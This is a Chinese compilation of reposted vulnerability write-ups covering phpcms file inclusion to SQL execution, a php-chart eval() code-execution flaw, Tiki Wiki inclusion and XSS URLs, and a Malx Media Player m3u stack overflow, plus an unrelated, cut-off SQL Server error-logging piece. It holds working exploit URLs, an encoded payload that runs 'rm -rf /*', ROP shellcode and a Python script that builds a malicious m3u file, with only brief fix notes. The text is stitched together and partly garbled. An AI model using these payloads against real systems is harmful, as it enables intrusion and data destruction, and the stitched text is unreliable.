以下是小编帮大家整理的phpcms本地文件包括及利用(执行任意SQL脚本)和修复,本文共6篇,欢迎大家收藏分享。本文原稿由网友“甜小熊”提供。
篇1:phpcms本地文件包括及利用(执行任意SQL脚本)和修复
文件wap/index.php
include '../include/common.inc.php';
include './include/global.func.php';
$lang = include './include/lang.inc.php';
if(preg_match('/(mozillam3gatewinwapopenwave)/i', $_SERVER['HTTP_USER_AGENT']))
{
header('location:../');
}
wmlHeader($PHPCMS['sitename']);
$action = isset($action) && !empty($action) ? $action : 'index';
if($action)
{
include './include/'.$action.'.inc.php';
}
$html = CHARSET != 'utf-8' ? iconv(CHARSET, 'utf-8', $html) : $html;
echo str_replace('
', “
\\n”, $html);
wmlFooter;
?>
action 变量没有判断,造成本地文件包含漏洞,
利用(其中之一):
包含目录include\\fields\\areaid 下任一文件,即可执行任意SQL脚本,
如:field_add.inc.php
if(!$maxlength) $maxlength = 255;
$maxlength = min($maxlength, 255);
$sql = “ALTER TABLE `$tablename` ADD `$field` VARCHAR( $maxlength ) NOT NULL DEFAULT '$defaultvalue'”;
$db->query($sql);
?>
tablename 等变量可以直接传入。 当然,这个访问需要用Opera等浏览器访问。
用Opera浏览器访问
www.phpcms.cn/wap/index.php?action=../../include/fields/areaid/field_add&tablename=xx
6:
7:
8:
9:MySQL Query :ALTER TABLE `xx` ADD `` VARCHAR( 255 ) NOT NULL DEFAULT ''
MySQL Error :Table 'phpcms.xx' doesn't exist
MySQL Errno :1146
Message :MySQL Query Error
修复方案:
action 变量判断
篇2:Phpcms本地文件包含漏洞及利用:任意SQL语句执行
最近一直做马后炮了,于是被人鄙视;但没办法,做出头鸟也被人嘲笑!反正这些玩意丢我这里也没啥用,只会烂在硬盘里!于是,只要有点风吹草动,我就公布吧,乌云的文章在此:www.wooyun.org/bug.php?action=view&id=497,文章暂时还没有公布详情...于是...我说一下。
Phpcms2008之前已经暴过很多问题了,但这个本地包含一直无人提起,小明曾经在t00ls里核心版块说过,但其实这个本地包含即使不通过旁注也是有办法利用的,那就是增加管理员或者修改管理员密码!
好了,先说本地包含,有几处,我不知道乌云上说的是哪一处,于是我就当其说的是最明显的那处吧。很明显的漏洞,不知道为啥还在phpcms中出现,先看代码:
文件在wap/index.php
include../include/common.inc.php;
include./include/global.func.php;
$lang= include./include/lang.inc.php;
if(preg_match(/(mozilla|m3gate|winwap|openwave)/i,$_SERVER[HTTP_USER_AGENT]))
{
header(location:../);//判断,调试时先注释掉,from www.oldjun.com
}
wmlHeader($PHPCMS[sitename]);//判断,调试时先注释掉,from www.oldjun.com
$action= isset($action) && !empty($action) ?$action:index;//直接把action带进来了,from www.oldjun.com
if($action)
{
include./include/.$action..inc.php;//本地包含,from www.oldjun.com
}
$html=CHARSET!=utf-8?iconv(CHARSET,utf-8,$html) :$html;
echostr_replace(
,“
”,$html);
wmlFooter();
?>
去掉几处判断条件就可以调试了,action没有进行限制与过滤,然后悲剧的全局:
if($_REQUEST){
if(MAGIC_QUOTES_GPC)
{
$_REQUEST = new_stripslashes($_REQUEST);
if($_COOKIE) $_COOKIE = new_stripslashes($_COOKIE);
extract($db->escape($_REQUEST), EXTR_SKIP);
}
else
{
$_POST = $db->escape($_POST);
$_GET = $db->escape($_GET);
$_COOKIE = $db->escape($_COOKIE);
@extract($_POST,EXTR_SKIP);
@extract($_GET,EXTR_SKIP);
@extract($_COOKIE,EXTR_SKIP);
}
if(!defined(IN_ADMIN)) $_REQUEST = filter_xss($_REQUEST, ALLOWED_HTMLTAGS);
if($_COOKIE) $db->escape($_COOKIE);
}
于是可以成功本地包含,剩下来的就是这个本地包含怎么利用的问题了,
包含的文件限制为*.inc.php,phpcms的开发者非常喜欢用这个命名规则,于是好多好多文件都是说明什么.inc.php,随便包含一个有利用价值的即可,随便找找:
formguide/admin/include/fields/datetime/field_add.inc.php
if($dateformat==date)
{
$sql=“ALTER TABLE `$tablename` ADD `$field` DATE NOT NULL DEFAULT 0000-00-00”;
}
elseif($dateformat==datetime)
{
$sql=“ALTER TABLE `$tablename` ADD `$field` DATETIME NOT NULL DEFAULT 0000-00-00 00:00:00”;
}
elseif($dateformat==int)
{
if($format)
$sql=“ALTER TABLE `$tablename`
篇3:利用本地包含漏洞执行任意代码漏洞预警
影响程序: php-chart_v1.0
程序官方: php-charts.com/
缺陷类型: PHP Code Execution.
===============================================================
测试平台系统: Debian squeeze 6.0.6
服务器软件版本: Apache/2.2.16 (Debian)
PHP 5.3.3-7+squeeze14 with Suhosin-Patch (cli) (built: Aug 6 20:08:59)
Copyright (c) - The PHP Group
Zend Engine v2.3.0, Copyright (c) - Zend Technologies
with Suhosin v0.9.32.1, Copyright (c) -2010, by SektionEins GmbH
================================================================
关于程序介绍:
Php-Charts is basically a class which can be used to generate
different charts(Bar, Pie, Doughnut etc.) in different format(PDF, PNG, JPG, HTML)
using different data source(csv, xml, MySQL, MS Sql, MS Access, PostgreSql,
user defined data).
================================================================
缺陷分析
root@debian:/etc/apache2/htdocs/hacker1/wp/chart/chart/wizard# cat url.php
require(”../lib/phpchart.class.php“);
$color_var=array(”txt_col“,”line_col“,”bg_color“);
$cname=$_GET[”type“];
$chart=new PHPChart($cname);
foreach($_GET as $key=>$value)
{
if($value!=”“)
{
if(in_array($key,$color_var))
eval('$chart->'.$key.'=”#'.$value.'“;');
else if($value=='yes')
eval('$chart->'.$key.'=true;');
else if($value=='no')
eval('$chart->'.$key.'=false;');
else if(is_numeric($value))
eval('$chart->'.$key.'='.$value.';');
else
eval('$chart->'.$key.”='“.$value.”';“);
}
}
$chart->genChart;
利用:
root@debian:/tmp# wget ' www.myhack58.com //wp/chart/chart/wizard/url.php?${var_dump($_SERVER)}=IZABEKAILOVEYOUBABY' -O out.txt && cat out.txt
---01-15 21:19:16-- hacker1.own//wp/chart/chart/wizard/url.php?$%7Bvar_dump($_SERVER)%7D=IZABEKAILOVEYOUBABY
Resolving hacker1.own... 127.0.0.1
Connecting to hacker1.own|127.0.0.1|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]
Saving to: “out.txt”
[ <=> ] 1,917 --.-K/s in 0s
2013-01-15 21:19:17 (8.56 MB/s) - “out.txt” saved [1917]
Notice: Undefined index: type in /etc/apache2/htdocs/hacker1/wp/chart/chart/wizard/url.php on line 4
array(28) {
[”DOCUMENT_ROOT“]=>
string(28) ”/etc/apache2/htdocs/hacker1/“
[”GATEWAY_INTERFACE“]=>
string(7) ”CGI/1.1“
[”HTTP_ACCEPT“]=>
string(3) ”*/*“
[”HTTP_CLIENT_IP“]=>
string(9) ”127.0.0.1“
[”HTTP_HOST“]=>
string(11) ”hacker1.own“
[”HTTP_USER_AGENT“]=>
string(21) ”Wget/1.12 (linux-gnu)“
[”HTTP_VIA“]=>
string(77) ”http/1.0 debian[FE800000000000000A0027FFFE077FC6] (ApacheTrafficServer/3.2.0)“
[”HTTP_X_FORWARDED_FOR“]=>
string(9) ”127.0.0.1“
[”PATH“]=>
string(4) ”/bin“
[”PHPRC“]=>
string(14) ”/etc/php5/cgi/“
[”QUERY_STRING“]=>
string(45) ”$%7Bvar_dump($_SERVER)%7D=IZABEKAILOVEYOUBABY“
[”REDIRECT_STATUS“]=>
string(3) ”200“
[”REMOTE_ADDR“]=>
string(9) ”127.0.0.1“
[”REMOTE_PORT“]=>
string(5) ”60830“
[”REQUEST_METHOD“]=>
string(3) ”GET“
[”REQUEST_URI“]=>
string(76) ”/wp/chart/chart/wizard/url.php?$%7Bvar_dump($_SERVER)%7D=IZABEKAILOVEYOUBABY“
[”SCRIPT_FILENAME“]=>
string(57) ”/etc/apache2/htdocs/hacker1/wp/chart/chart/wizard/url.php“
[”SCRIPT_NAME“]=>
string(30) ”/wp/chart/chart/wizard/url.php“
[”SERVER_ADDR“]=>
string(9) ”127.0.0.1“
[”SERVER_ADMIN“]=>
string(21) ”webmaster@hacker1.own“
[”SERVER_NAME“]=>
string(11) ”hacker1.own“
[”SERVER_PORT“]=>
string(2) ”80“
[”SERVER_PROTOCOL“]=>
string(8) ”HTTP/1.1“
[”SERVER_SIGNATURE“]=>
string(0) ”“
[”SERVER_SOFTWARE“]=>
string(6) ”Apache“
[”UNIQUE_ID“]=>
string(24) ”UPYOJH8AAQEAAE8eNfMAAAAC“
[”PHP_SELF“]=>
string(30) ”/wp/chart/chart/wizard/url.php“
[”REQUEST_TIME“]=>
int(1358302756)
}
Notice: Undefined variable: in /etc/apache2/htdocs/hacker1/wp/chart/chart/wizard/url.php(20) : eval()'d code on line 1
Fatal error: Cannot access empty property in /etc/apache2/htdocs/hacker1/wp/chart/chart/wizard/url.php(20) : eval()'d code on line 1
root@debian:/tmp#
Example 2:
hacker1.own//wp/chart/chart/wizard/url.php?&123&${var_dump(system(base64_decode(cm0gLXJmIC8q)))}=123456LoL
=====================ENDS HERE============================
篇4:如何将sql执行的错误消息记录到本地文件中
其实大家都知道sql语句的错误信息都可以在sys.messages表里面找到
如:
如果在执行语句在try...catch中 我们可以通过以下方法获取错误信息,sql语句如下:
BEGIN TRY
SELECT 3 / 0
END TRY
BEGIN CATCH
DECLARE @errornumber INT
DECLARE @errorseverity INT
DECLARE @errorstate INT
DECLARE @errormessage NVARCHAR(4000)
SELECT @errornumber = ERROR_NUMBER() ,
@errorseverity = ERROR_SEVERITY() ,
@errorstate = ERROR_STATE() ,
@errormessage = ERROR_MESSAGE()
SELECT @errornumber ,
@errorseverity ,
@errorstate ,
@errormessage
RAISERROR (
@errormessage, -- Message text,
@errorseverity, -- Severity,
@errorstate, -- State,
@errornumber
);
END CATCH
当然我这里是故意用RAISERROR再次抛出错误信息,运行结果如下:
现在我们来定义一个存储过程,其目的就是往本地文件中写入信息,
sql脚本如下:
CREATE Proc [dbo].[UCreateOrAppendTextFile](@Filename VarChar(100),@Text nVarchar(4000))
AS
DECLARE @FileSystem int
篇5:ki Wiki CMS群件本地文件包含和跨站脚本漏洞及修复
攻击者可以通过浏览器利用这些问题,利用一个跨站点脚本问题,攻击者必须诱使不知情的用户点击一个恶意的URI。
本地文件漏洞EXP:
网站/tiki-5.2/tiki-jsplugin.php?plugin=x&language=../../../../../../../../../../windows/win.ini
跨站脚本漏洞:
网站/tiki-5.2/tiki-edit_wiki_section.php?type=%22%3E%3Cscript%3Ealert(0)%3C/script%3E
注:首发孤独浪子,由情整理编辑
防范:
过滤或临时加入通用防注入文件
篇6:Malx Media Player处理畸形m3u文件栈溢出本地任意代码执行漏洞预警
Malx Media Player 3.2.2 处理畸形m3u文件时会发生栈溢出,从而可以让攻击者成功控制EIP,执行任意代码,(Win7 SP1配合MacType进行ROP)
Malx Media Player使用MAX_PATH作为参数初始化栈上变量,但是使用vfscanf时并没有考虑输入长度,导致栈溢出。 软件地址:malx-media-player.software.informer.com/
构建一个畸形M3U文件,然后载入程序,喜闻乐见的崩溃,kvn回溯栈调用发现它是从vfscanf进去的,看来一定是用了MAX_PATH了,再试一下它是从哪块函数调用上vfscanf的:
0:000>bp msvcrt!vfscanf
0:000>bl
0 e 76cf574d 0001 (0001) 0:**** msvcrt!vfscanf
1 eu 0001 (0001) (msvcrf!fscanf)
0:000>g
Breakpoint 0 hit
eax=0018f92c ebx=0018fb64 ecx=76c9a6db edx=0008e381 esi=76d22960 edi=76cf58b9
eip=76cf574d esp=0018f904 ebp=0018f91c iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206
msvcrt!vfscanf:
76cf574d 6a0cpush 0Ch
gu两次,看到是从image00400000+0x46f0这儿进去的:
0:000>gu
eax=00000001 ebx=0018fb64 ecx=76cf587e edx=76d22960 esi=76d22960 edi=76cf58b9
eip=76cf58d4 esp=0018f908 ebp=0018f91c iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
msvcrt!fscanf+0x1b:
76cf58d4 83c414 add esp,14h
0:000>gu
*** WARNING: Unable to verify checksum for image00400000
*** ERROR: Module load completed but symbols could not be loaded for image00400000
eax=00000001 ebx=0018fb64 ecx=76cf587e edx=76d22960 esi=76d22960 edi=76cf58b9
eip=004046f0 esp=0018f924 ebp=00000001 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202
image00400000+0x46f0:
004046f0 83c40c add esp,0Ch
没代码没符号光看十分 ,简单的判断一下出问题的区域,此时再gu一次
0:000>gu
(2304.288): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=75cf54f8 ecx=76c93dcf edx=0008e3c8 esi=00000000 edi=01d5004c
eip=41414141 esp=0018fb48 ebp=00000001 iopl=0 nv up ei pl nz ac pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010216
41414141 ?? ???
eip跳到了41414141,看来是覆盖了retn的地址。
重来,从之前的image00400000+0x46f0往后一直p,然后到retn为止发现都没事儿,那估计就是这个retn导致的:
Breakpoint 0 hit
eax=00000000 ebx=75cf54f8 ecx=76c93dcf edx=0008e3c8 esi=00000000 edi=020e004c
eip=00404744 esp=0018f93c ebp=00000001 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
image00400000+0x4744:
00404744 81c408020000 add esp,208h
0:000>dd esp
0018f93c 0055334d 00000003 0088d550 00000016
0018f94c 00000000 01000003 00000000 00000016
0018f95c 00005765 0018f898 77aa57d0 0018f9d0
0018f96c 0018f99c 77ac0806 00870000 00000000
0018f97c 00870000 0088d108 77a1b8ea 0088d108
0018f98c 00870000 00870000 77a1b8ea 0088d108
0018f99c 0018f9e0 77ac17b0 00870138 77ac1794
0018f9ac 66f6ed3b 00870000 00870000 00000000
0:000>p
eax=00000000 ebx=75cf54f8 ecx=76c93dcf edx=0008e3c8 esi=00000000 edi=020e004c
eip=0040474a esp=0018fb44 ebp=00000001 iopl=0 nv up ei pl nz ac pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000216
image00400000+0x474a:
0040474a c3 ret
查看对应栈:
0:000>dd esp
0018fb44 41414141 41414141 41414141 41414141
0018fb54 41414141 41414141 41414141 41414141
0018fb64 41414141 41414141 41414141 41414141
0018fb74 41414141 41414141 41414141 41414141
0018fb84 43414141 43434343 43434343 43434343
0018fb94 43434343 43434343 43434343 43434343
0018fba4 43434343 43434343 43434343 43434343
0018fbb4 53434343 53535353 53535353 53535353
真是一个悲伤的故事啊……
由于倒数第二个是add esp,208h;那我们就倒回去看看:
0:000>dd esp-208 esp
0018f93c 0055334d 00000003 0088d550 00000016
0018f94c 00000000 01000003 00000000 00000016
0018f95c 00005765 0018f898 77aa57d0 0018f9d0
0018f96c 0018f99c 77ac0806 00870000 00000000
0018f97c 00870000 0088d108 77a1b8ea 0088d108
0018f98c 00870000 00870000 77a1b8ea 0088d108
0018f99c 0018f9e0 77ac17b0 00870138 77ac1794
0018f9ac 66f6ed3b 00870000 00870000 00000000
0018f9bc 00870000 00000000 01010000 0018f9ac
0018f9cc 00000068 0018fac4 77a671f5 114fc46b
0018f9dc fffffffe 77ac1794 77a7ac29 00870000
0018f9ec 50000063 77a238aa 66f6ee0f 00000000
0018f9fc 00870000 0088d110 00000000 00401270
0018fa0c 00000000 00de0706 00000084 00000000
0018fa1c 00680515 00000004 000003a8 00870000
0018fa2c 00000000 00000001 00000001 00000000
0018fa3c 00000000 415c3a41 41414141 41414141
0018fa4c 41414141 41414141 41414141 41414141
0018fa5c 41414141 41414141 41414141 41414141
0018fa6c 41414141 41414141 41414141 41414141
0018fa7c 41414141 41414141 41414141 41414141
0018fa8c 41414141 41414141 41414141 41414141
0018fa9c 41414141 41414141 41414141 41414141
0018faac 41414141 41414141 41414141 41414141
0018fabc 41414141 41414141 41414141 41414141
0018facc 41414141 41414141 41414141 41414141
0018fadc 41414141 41414141 41414141 41414141
0018faec 41414141 41414141 41414141 41414141
0018fafc 41414141 41414141 41414141 41414141
0018fb0c 41414141 41414141 41414141 41414141
0018fb1c 41414141 41414141 41414141 41414141
0018fb2c 41414141 41414141 41414141 41414141
0018fb3c 41414141 41414141 41414141
果然是一个悲伤的故事呀……
这个retn地址被覆盖的位置位于多少偏移处呢?
0:000>?(18fa3c+4 - esp)
Evaluate expression: -260 = fffffefc
260,这个熟悉的数字,真是一个灾难。
找找ROP,发现MacType!ReloadConfig+0x24cca有一个很好很符合要求的ROP
---------------------- size 1
MacType!ReloadConfig+0x24cca:
1002756a 54 push esp
1002756b c3 ret
由于是在练手,所以咱也暂时不考虑通用性,查看WinExec的地址:
0:000>x kernel32!WinExec
768a2c51 kernel32!WinExec = 大概就勾画出了我们的SHELLCODE的原始形态: ROP 6a750210 #1002756a;MacType!ReloadConfig+0x24cca, push esp; ret; #Shellcode start $ 31C0 XOR EAX,EAX $+2 50 PUSH EAX $+3 B8 43414C43 MOV EAX,434C4143 $+8 50 PUSH EAX ;”CALC\\0“ $+9 89E1 MOV ECX,ESP ;保存这个字符串的指针 $+B 40 INC EAX $+C 50 PUSH EAX ;uCmdShow == 1 $+D 51 PUSH ECX ;lpCmdLine $+E E8 XXXXXXX CALL WinExec 其实还要设置一个MOV EBX, ESP; DEC EBX,80H; MOV EBP,EBX;,这样才能保证WinExec不出错……INC EAX之前要XOR EAX,EAX一下,上面的是我之前打的草稿,我也偷个懒不贴机器码啦,OD里面一放就能查到 编辑M3U文件,载入运行(如下图所示) *** WARNING: Unable to verify checksum for E:\\Program Files (x86)\\Mplay\\mplay.exe *** ERROR: Module load completed but symbols could not be loaded for E:\\Program Files (x86)\\Mplay\\mplay.exe 0:001>g Breakpoint 0 hit eax=00000000 ebx=75965550 ecx=77573dcf edx=0008e3c8 esi=00000000 edi=0041004c eip=0040474a esp=0018fb44 ebp=00000001 iopl=0 nv up ei pl nz ac pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000216 mplay+0x474a: 0040474a c3 ret 0:000>p eax=00000000 ebx=75965550 ecx=77573dcf edx=0008e3c8 esi=00000000 edi=0041004c eip=1002756a esp=0018fb48 ebp=00000001 iopl=0 nv up ei pl nz ac pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000216 *** WARNING: Unable to verify checksum for E:\\Program Files (x86)\\MacType\\MacType.dll *** ERROR: Symbol file could not be found. Defaulted to export symbols for E:\\Program Files (x86)\\MacType\\MacType.dll - MacType!ReloadConfig+0x24cca: 1002756a 54 push esp 0:000> eax=00000000 ebx=75965550 ecx=77573dcf edx=0008e3c8 esi=00000000 edi=0041004c eip=1002756b esp=0018fb44 ebp=00000001 iopl=0 nv up ei pl nz ac pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000216 MacType!ReloadConfig+0x24ccb: 1002756b c3 ret 0:000> eax=00000000 ebx=75965550 ecx=77573dcf edx=0008e3c8 esi=00000000 edi=0041004c eip=0018fb48 esp=0018fb48 ebp=00000001 iopl=0 nv up ei pl nz ac pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000216 0018fb48 31c0xor eax,eax 0:000> eax=00000000 ebx=75965550 ecx=77573dcf edx=0008e3c8 esi=00000000 edi=0041004c eip=0018fb4a esp=0018fb48 ebp=00000001 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246 0018fb4a 50 push eax 0:000> eax=00000000 ebx=75965550 ecx=77573dcf edx=0008e3c8 esi=00000000 edi=0041004c eip=0018fb4b esp=0018fb44 ebp=00000001 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246 0018fb4b b843414c43mov eax,434C4143h 0:000> eax=434c4143 ebx=75965550 ecx=77573dcf edx=0008e3c8 esi=00000000 edi=0041004c eip=0018fb50 esp=0018fb44 ebp=00000001 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246 0018fb50 50 push eax 0:000> eax=434c4143 ebx=75965550 ecx=77573dcf edx=0008e3c8 esi=00000000 edi=0041004c eip=0018fb51 esp=0018fb40 ebp=00000001 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246 0018fb51 89e1mov ecx,esp 0:000> eax=434c4143 ebx=75965550 ecx=0018fb40 edx=0008e3c8 esi=00000000 edi=0041004c eip=0018fb53 esp=0018fb40 ebp=00000001 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246 0018fb53 40 inc eax 0:000> eax=434c4144 ebx=75965550 ecx=0018fb40 edx=0008e3c8 esi=00000000 edi=0041004c eip=0018fb54 esp=0018fb40 ebp=00000001 iopl=0 nv up ei pl nz na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206 0018fb54 50 push eax 0:000> eax=434c4144 ebx=75965550 ecx=0018fb40 edx=0008e3c8 esi=00000000 edi=0041004c eip=0018fb55 esp=0018fb3c ebp=00000001 iopl=0 nv up ei pl nz na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206 0018fb55 51 push ecx 0:000> eax=434c4144 ebx=75965550 ecx=0018fb40 edx=0008e3c8 esi=00000000 edi=0041004c eip=0018fb56 esp=0018fb38 ebp=00000001 iopl=0 nv up ei pl nz na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206 0018fb56 e8fb307176call kernel32!WinExec+0x5 (768a2c56) 0:000>dd esp 0018fb38 0018fb40 434c4144 434c4143 00000000 0018fb48 b850c031 434c4143 40e18950 fbe85150 0018fb58 00767130 00000000 00000000 555c3a45 0018fb68 73726573 616c425c 53547473 7365445c 0018fb78 706f746b 6d2e375c 75007533 008fb710 0018fb88 00000000 ffffffec 00000000 020e4758 0018fb98 020e4758 008fb710 008fb710 0018fbe4 0018fba8 754a702c 008fb710 00000000 ffffffec 0:000>da 18fb40 0018fb40 ”CALC“ 注:Debug模式下MacType模块是不会注入的,所以如果要测试着玩的话,还是要让它自己跑再Attach才可以 POC: print ”blast off!“ filepath = ”poc.m3u“ f = open(filepath, ”wb“) file = '\\x23\\x45\\x58\\x54\\x4d\\x33\\x55\\x0d\\x0a\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x6a\\x75\\x02\\x10\\x31\\xc0\\x50\\xb8\\x43\\x41\\x4c\\x43\\x50\\x89\\xe1\\x40\\x50\\x51\\xe8\\xfb\\x30\\x71\\x76\\x00' f.write(file) f.close() print ”Done.\\nOpen poc.m3u\" 弄好的二进制文件:lno.pw/exp.m3u,由于为了省事,没有用通用的方式处理,所以WinExec地址请自行修改 修复方案: 使用_s安全输入函数0:001>bp 40474a#!/usr/bin/env python